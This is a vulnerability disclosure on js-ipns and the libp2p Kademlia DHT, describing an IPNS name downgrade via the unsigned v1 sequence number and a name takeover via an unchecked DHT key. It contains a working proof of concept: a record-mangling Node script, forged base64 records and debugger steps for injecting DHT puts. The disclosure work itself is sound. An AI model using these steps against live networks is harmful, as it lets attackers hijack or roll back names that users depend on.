Vulnerability Note
1 Summary
IPNS is the InterPlanetary Name System and allows to serve changing CID’s under a fixed address (/ipns/<pubkey>
). This is accomplished by having a node sign data (target CID, lifetime, ..) with an ipns private key. Nodes can then query the peer-to-peer network to provide signed records corresponding to a public key. The signed data is validated by the library and the payload is used to resolve the target CID for the ipns entry.
IPNS records can be exchanged via js-libp2p-kad-dht by storing the IPNS record at key
/ipns/<pubkey>
. The record is then sent to neighbouring peers which validate and store the value in their routing cache.
It was found that in the js-ipns implementation, the validation of DHT put request and the validation of the IPNS v1 record itself is insufficient and may allow for
- (1) ipns name downgrading attacks (due to the fact that sequence number is not part of the signed data)
- (2) ipns name takeover attack (due to the fact that the DHT
put-key
is not matched against therecord.pubKey
) (critical)
2 Details
An ipns record is defined as follows:
message IpnsEntry {
enum ValidityType {
EOL = 0; // setting an EOL says "this record is valid until..."
}
optional bytes value = 1;
optional bytes signature = 2;
optional ValidityType validityType = 3;
optional bytes validity = 4;
optional uint64 sequence = 5;
optional uint64 ttl = 6;
// in order for nodes to properly validate a record upon receipt, they need the public
// key associated with it. For old RSA keys, its easiest if we just send this as part of
// the record itself. For newer ed25519 keys, the public key can be embedded in the
// peerID, making this field unnecessary.
optional bytes pubKey = 7;
optional bytes signatureV2 = 8;
optional bytes data = 9;
}
2.1 (1) Downgrade Attack
An ipns record contains a sequence
field which is not signed in the v1 ipns record Signature
scheme. Hence, there is no way for a peer to detect if the field has been tampered with. This allows for the following attack scenario:
- Owner of
uniswap.org
publishes their latest static website to their static/ipns/<uniswap.org-CID>
. - Attacker observes this, stores the
ipns record
in a database for later use. - Owner of
uniswap.org
publishes updates to their website, updating the/ipns/<uniswap.org-CID>
to point to the latest release of the website. - Owner publishes more releases of the website, some of them addressing security issues.
- Attacker observed all the
ipns records
foruniswap.org
. Attacker can now downgrade/ipns/<uniswap.org-CID>
to a previous (potentially vulnerable version) by taking an oldipns-record
, updating thesequence
(potentially to max UINT to lock updates completely) and publishing it to all peers in the network.
Why is this actually working?
The sequence number is not part of the signed ipns record and js-ipfs
accepts DHT put messages from ANY peer, as long as the message validates.
-
This allows for trivial downgrading and DoS attacks where an attacker observes (or fetches) a valid name record, changes the sequence number to
uint64_MAX
and rebroadcasts it. Other nodes should receive the message, check the sequence number and if it is higher, update their cache with the newly forged record, which is an old one replayed with a higher sequence number. Note how the old record is now replayed as if it was an update while it is actually a name downgrade. Note that by choosing the max allowed sequence number the attacker can force that it cannot be updated anymore. -
Note: The fact that nodes can freely choose to use
v1
orv2
records opens up a lot of room for downgrading attacks where one could observe av2
record and modify it to fit thev1
record scheme and attack design issues of thev1
schema.
The code snippet below is taken from js-ipns
and shows which fields are actually taken from the record.
/**
* Utility for creating the record data for being signed
*
* @param {Uint8Array} value
* @param {number} validityType
* @param {Uint8Array} validity
*/
const ipnsEntryDataForV1Sig = (value, validityType, validity) => {
const validityTypeBuffer = uint8ArrayFromString(getValidityType(validityType))
return uint8ArrayConcat([value, validity, validityTypeBuffer])
}
https://github.com/ipfs/js-ipns/blob/5ab6d90975cfbb0ee1a0e4c829eba54ae9ee7108/src/index.js#L384-L388
The selection criteria for records seems to be checking that the new sequence is greater than the one cached. Note that this does not enforce type checks (PB defines uint64 while javascript integers might actually be larger).
/**
* @param {Uint8Array} dataA
* @param {Uint8Array} dataB
*/
select: (dataA, dataB) => {
const entryA = unmarshal(dataA)
const entryB = unmarshal(dataB)
return entryA.sequence > entryB.sequence ? 0 : 1
}
(see https://github.com/ipfs/js-ipns/blob/5ab6d90975cfbb0ee1a0e4c829eba54ae9ee7108/src/index.js#L470-L474)
Proof of Concept
TLDR; There is a video PoC at the end of this section.
We will instrument the latest js-ipfs
code to perform the downgrade attack by setting a breakpoint at the code that stores the ipns record to the DHT, replaying an outdated ipns record with an updated sequence number. A script is provided that conveniently updates the sequence of a given ipns record.
We assume that you have obtained the target ipns record already (e.g. by calling ipns resolve
, dht get <key>
or just observing them). The key and entryData (record) information shown below is encoded as uint8ArrayToString(key|entryData, 'base64')
and can be loaded with uint8ArrayFromString(targetKey | targetEntryData, 'base64')
targetKey = "L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk";
targetEntryData = "CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWigAOiQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk"
- checkout
js-ipfs
, build, init, and run it usingIPFS_PATH=./ipfs2
. Make sure it works. - launch
vscode
and configure it to debugjs-ipfs daemon
. Here’s an example configuration:
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "pwa-node",
"request": "launch",
"name": "Launch Program",
"skipFiles": [
"<node_internals>/**"
],
"program": "${workspaceFolder}/packages/ipfs/src/cli.js",
"args": ["daemon"],
"env": {
"IPFS_PATH":"${workspaceFolder}/ipfs2"
}
}
]
}
- set a breakpoint at
node_modules/libp2p-kad-dht/src/content-fetching/index.js
functionasync put()
. More precicely on this line:
// create record in the dht format
const record = await utils.createPutRecord(key, value) //@audit - BREAK HERE
-
run a dummy
ipfs publish
and after a couple of seconds we should hit the breakpoint:IPFS_PATH=./ipfs2 ipfs name publish /ipfs/QmVKTUKt16xUTUUNMxzrdAHe1oBVtgwLRt5Vzms2oVMjhx --key=someone
-
At the breakpoint (or ideally before breaking here :D) create a new ipns record from the targetEntryData but with an updated sequence number. For convenience, use this script to mangle the record:
The script below unpacks a base64 encoded ipns record and changes the sequence number.
const ipns = require("ipns");
const fromString = require('uint8arrays/from-string')
const toString = require('uint8arrays/to-string')
let args = process.argv.slice(2)
let entryData = args[1];
let newSeq = parseInt(args[0]);
console.log(entryData)
//uint8ArrayFromString("L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk","base64")
//let key = "L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk"
//let entryData = "CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkB8DZQJWS2IHUIldImQs56wKt1XZ/9qlsJLisRbYL1etyWbpsbv5fVCVA0PnOIu2bM9f14T0/1NbUPSN12kVxIDGAAiHjIwMjEtMDgtMTNUMTM6Mzg6MDUuNDQwMDAwMDAwWigA"
//console.log(fromString(key, "base64"))
console.log(fromString(entryData, "base64"))
let data = ipns.unmarshal(fromString(entryData, "base64"))
console.log(data)
console.log("====== changing sequence to: " + newSeq)
data.sequence = newSeq
console.log(data)
console.log(`Buffer.from(uint8ArrayFromString("${toString(ipns.marshal(data), "base64")}","base64"))`)
Here’s an example output updating the record sequence number to 250
:
⇒ node ipnslala.js 250 CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWigAOiQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk
CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWigAOiQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk
Uint8Array(194) [
10, 52, 47, 105, 112, 102, 115, 47, 81, 109, 101, 103,
103, 87, 106, 54, 66, 69, 89, 82, 110, 90, 100, 71,
67, 118, 97, 109, 111, 104, 72, 105, 121, 76, 84, 57,
117, 67, 50, 55, 110, 52, 51, 105, 52, 110, 57, 97,
90, 51, 117, 101, 66, 121, 18, 64, 111, 50, 39, 192,
103, 243, 233, 204, 70, 190, 67, 22, 193, 185, 103, 106,
80, 78, 148, 172, 100, 248, 202, 32, 242, 212, 36, 59,
174, 159, 17, 167, 215, 23, 94, 245, 255, 235, 199, 247,
113, 242, 94, 151,
... 94 more items
]
{
value: Uint8Array(52) [
47, 105, 112, 102, 115, 47, 81, 109, 101, 103,
103, 87, 106, 54, 66, 69, 89, 82, 110, 90,
100, 71, 67, 118, 97, 109, 111, 104, 72, 105,
121, 76, 84, 57, 117, 67, 50, 55, 110, 52,
51, 105, 52, 110, 57, 97, 90, 51, 117, 101,
66, 121
],
signature: Uint8Array(64) [
111, 50, 39, 192, 103, 243, 233, 204, 70, 190, 67,
22, 193, 185, 103, 106, 80, 78, 148, 172, 100, 248,
202, 32, 242, 212, 36, 59, 174, 159, 17, 167, 215,
23, 94, 245, 255, 235, 199, 247, 113, 242, 94, 151,
153, 0, 8, 91, 247, 223, 160, 72, 48, 96, 51,
191, 33, 160, 233, 94, 186, 214, 172, 3
],
validityType: 0,
validity: Uint8Array(30) [
50, 48, 50, 49, 45, 48, 56, 45, 49,
51, 84, 49, 52, 58, 52, 48, 58, 50,
50, 46, 48, 54, 53, 48, 48, 48, 48,
48, 48, 90
],
sequence: 0n,
pubKey: Uint8Array(36) [
8, 1, 18, 32, 39, 143, 198, 220, 201,
121, 93, 22, 223, 78, 104, 141, 86, 199,
201, 79, 20, 49, 225, 164, 79, 224, 1,
99, 21, 161, 193, 240, 127, 202, 21, 9
],
ttl: undefined
}
====== changing sequence to: 250
{
value: Uint8Array(52) [
47, 105, 112, 102, 115, 47, 81, 109, 101, 103,
103, 87, 106, 54, 66, 69, 89, 82, 110, 90,
100, 71, 67, 118, 97, 109, 111, 104, 72, 105,
121, 76, 84, 57, 117, 67, 50, 55, 110, 52,
51, 105, 52, 110, 57, 97, 90, 51, 117, 101,
66, 121
],
signature: Uint8Array(64) [
111, 50, 39, 192, 103, 243, 233, 204, 70, 190, 67,
22, 193, 185, 103, 106, 80, 78, 148, 172, 100, 248,
202, 32, 242, 212, 36, 59, 174, 159, 17, 167, 215,
23, 94, 245, 255, 235, 199, 247, 113, 242, 94, 151,
153, 0, 8, 91, 247, 223, 160, 72, 48, 96, 51,
191, 33, 160, 233, 94, 186, 214, 172, 3
],
validityType: 0,
validity: Uint8Array(30) [
50, 48, 50, 49, 45, 48, 56, 45, 49,
51, 84, 49, 52, 58, 52, 48, 58, 50,
50, 46, 48, 54, 53, 48, 48, 48, 48,
48, 48, 90
],
sequence: 250,
pubKey: Uint8Array(36) [
8, 1, 18, 32, 39, 143, 198, 220, 201,
121, 93, 22, 223, 78, 104, 141, 86, 199,
201, 79, 20, 49, 225, 164, 79, 224, 1,
99, 21, 161, 193, 240, 127, 202, 21, 9
],
ttl: undefined
}
Buffer.from(uint8ArrayFromString("CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWij6ATokCAESICePxtzJeV0W305ojVbHyU8UMeGkT+ABYxWhwfB/yhUJ","base64"))
- At the breakpoint, change the value of
key
andrecord
as follows:
key=uint8ArrayFromString("L2lwbnMvACQIARIgJ4/G3Ml5XRbfTmiNVsfJTxQx4aRP4AFjFaHB8H/KFQk","base64")
record=Buffer.from(uint8ArrayFromString("CjQvaXBmcy9RbWVnZ1dqNkJFWVJuWmRHQ3ZhbW9oSGl5TFQ5dUMyN240M2k0bjlhWjN1ZUJ5EkBvMifAZ/PpzEa+QxbBuWdqUE6UrGT4yiDy1CQ7rp8Rp9cXXvX/68f3cfJel5kACFv336BIMGAzvyGg6V661qwDGAAiHjIwMjEtMDgtMTNUMTQ6NDA6MjIuMDY1MDAwMDAwWij6ATokCAESICePxtzJeV0W305ojVbHyU8UMeGkT+ABYxWhwfB/yhUJ","base64"))
- Continue execution. This will send out a DHT put request to all connected peers.
A js-ipfs
peer receiving this DHT put request will run it through the libp2p handlers. There is one registered handling /ipns/
prefixed DHT keys which will start validating the DHT message.
The /ipns/
put handler (node_modules/libp2p-kad-dht/src/rpc/handlers/put-value.js
) continues validating the record until it may be finally accepted.
Since the sequence
is not part of the signed data our manipulated record (old record, new sequence number, sent from unrelated peer) passes validation and is stored in the nodes cache.
We have sucessfully downgraded an ipns
name to an old ipns name.
Video Demonstration
Link: https://streamable.com/ecbqxw
- left side of the screen: attacker ipfs node (with breakpoint at DHT put)
- right side of the screen: victim ipfs node (or any other jsipfs peer)
- victim node is already running
- attacker start node in debug mode (with breakpoint at DHT put as described earlier)
- attacker wait for startup
- victim make sure victim is connected to attacker (
swarm connect <attacker>
) - attacker trigger an
ipns publish
and wait for execution to halt at our breakpoint (there’ll be a couple of breakpoints in the video but only the one atcreatePutRecord
is relevant) - attacker in debug mode: override
key
andvalue
to thesequence
number mangled version of the old record we’re going to replay (output of the mangle script). - attacker continue execution, sending the DHT PUT msg to all peers.
- victim receives DHT PUT from attacker (dblchecking the pubkey ending in
9
is the one we’re interested in) - victim continue until we’re in the ipns record validation. checking our sequence shows
sequence: 250
dblchecking that this is indeed the record attacker sent. Note we chose sequence 250 in the mangle script. - victim record is shown as valid
- victim ipns DHT cache is overwritten with the downgraded record.
2.2 (2) IPNS name takeover
Looking deeper into how ipns
records are validated it was found that:
ipnsV1
record sequence numbers are not signed (see previous issue)ipnsV1
records may contain the signing pubkey as a field of the record. In this case, the pubkey is taken from the record and not cross-checked with the pubkey from the DHT key or the peer submitting it.
This is how the validation roughly works:
- DHT put handler is invoked.
node_modules/libp2p-kad-dht/src/rpc/index.js::handleMessage()
checks if there is a handler for this messageType (PUT
).node_modules/libp2p-kad-dht/src/rpc/handlers/put-value.js::putValue()
is called to validate thePUT
message. ifdht._verifyRecordLocally(record)
succeeds it will store (and overwrite) the record atrecordKey
(DHT key).
/**
* Process `PutValue` DHT messages.
*
* @param {PeerId} peerId
* @param {Message} msg
*/
async function putValue (peerId, msg) {
const key = msg.key
log('key: %b', key)
const record = msg.record
if (!record) {
const errMsg = `Empty record from: ${peerId.toB58String()}`
log.error(errMsg)
throw errcode(new Error(errMsg), 'ERR_EMPTY_RECORD')
}
await dht._verifyRecordLocally(record)
record.timeReceived = new Date()
const recordKey = utils.bufferToKey(record.key)
await dht.datastore.put(recordKey, record.serialize())
dht.onPut(record, peerId)
return msg
- this then calls the libp2p validator for that record. It basically checks if there is an
ipns
handler to validate the/ipns/<pubkey>
prefixed DHT key. This should be the case by default so
/**
* Verify a record without searching the DHT.
*
* @param {import('libp2p-record').Record} record
*/
async _verifyRecordLocally (record) {
this._log('verifyRecordLocally')
await libp2pRecord.validator.verifyRecord(this.validators, record)
}
- this then calls the validator for
/ipns/
prefixed DHT keys. The registered validator isnode_modules/ipns/src/index.js::validator:validate()
validate: async (marshalledData, key) => {
const receivedEntry = unmarshal(marshalledData)
const bufferId = key.slice(IPNS_PREFIX.length)
const peerId = PeerId.createFromBytes(bufferId)
// extract public key
const pubKey = extractPublicKey(peerId, receivedEntry)
// Record validation
await validate(pubKey, receivedEntry)
},
/**
So, this will first get the peerID
from the DHT key and then call extractPublicKey
. This method will return either the embedded publicKey from the ipns record (preference!) or the pubKey from the peerId
.
The record is then only validated against the extracted pubkey. Note, that we can always ensure this is valid but it does not necessarily mean that the pubKey
extracted matches the peerId.pubKey
recovered from the DHT key we store to!!
This means, we can provide ANY DHT key (target ipns pubkey to overwrite) even if it does not match the embedded pubkey!
- The validation passes, the code jumps back to the code-snippet from (3) (see below; after
dht._verifyRecordLocally(record)
) which takes the DHT key (again, this did not even match the pubkey from the signed ipns record) and stores the new malicious ipns record overwriting whatever was stored at the target ipns record.
// ... snip ...
await dht._verifyRecordLocally(record)
record.timeReceived = new Date()
const recordKey = utils.bufferToKey(record.key)
await dht.datastore.put(recordKey, record.serialize())
dht.onPut(record, peerId)
Again, any signed record, as long as the pubkey is embedded and the signature verifies, can be used to overwrite any other ipns key in the DHT. This basically allows to take over all ipns names.
Video Demonstration
Link: https://streamable.com/xr9tz2
- left side of the screen: attacker ipfs node (with breakpoint at DHT put)
- right side of the screen: victim ipfs node (or any other jsipfs peer)
Same scenario, but this time we show that we can write any signed ipns record (with embedded pubkey) to any DHT key thus overwriting ipns records.
- attacker trigger an
ipns publish
and wait for execution to halt at our breakpoint (there’ll be a couple of breakpoints in the video but only the one atcreatePutRecord
is relevant) - attacker in debug mode: override
key
with any other/ipns/<pubkey>
ipns record key or - in our case for demonstration purposes, we set the last pubkey bytes to zero. - attacker continue execution, sending the DHT PUT msg to all peers.
- victim receives DHT PUT from attacker (dblchecking the pubkey ending in
00000
is the one we’re interested in) - victim validation passes and the record that is signed with a totally different pubkey is stored in the cache at the key we define.
3 Vendor Response
Vendor response:
- (1) will be addressed by dropping support for v1 signed payloads.
- (2) missing validation addressed in js-ipns#134 released as v0.14.0 (DHT-key matches embedded pubkey)
3.1 Timeline
AUG/12/2021 - initial vendor contact
SEP/08/2021 - released fixes for #2 ([email protected]); #1 is addressed by phasing out v1 signature support.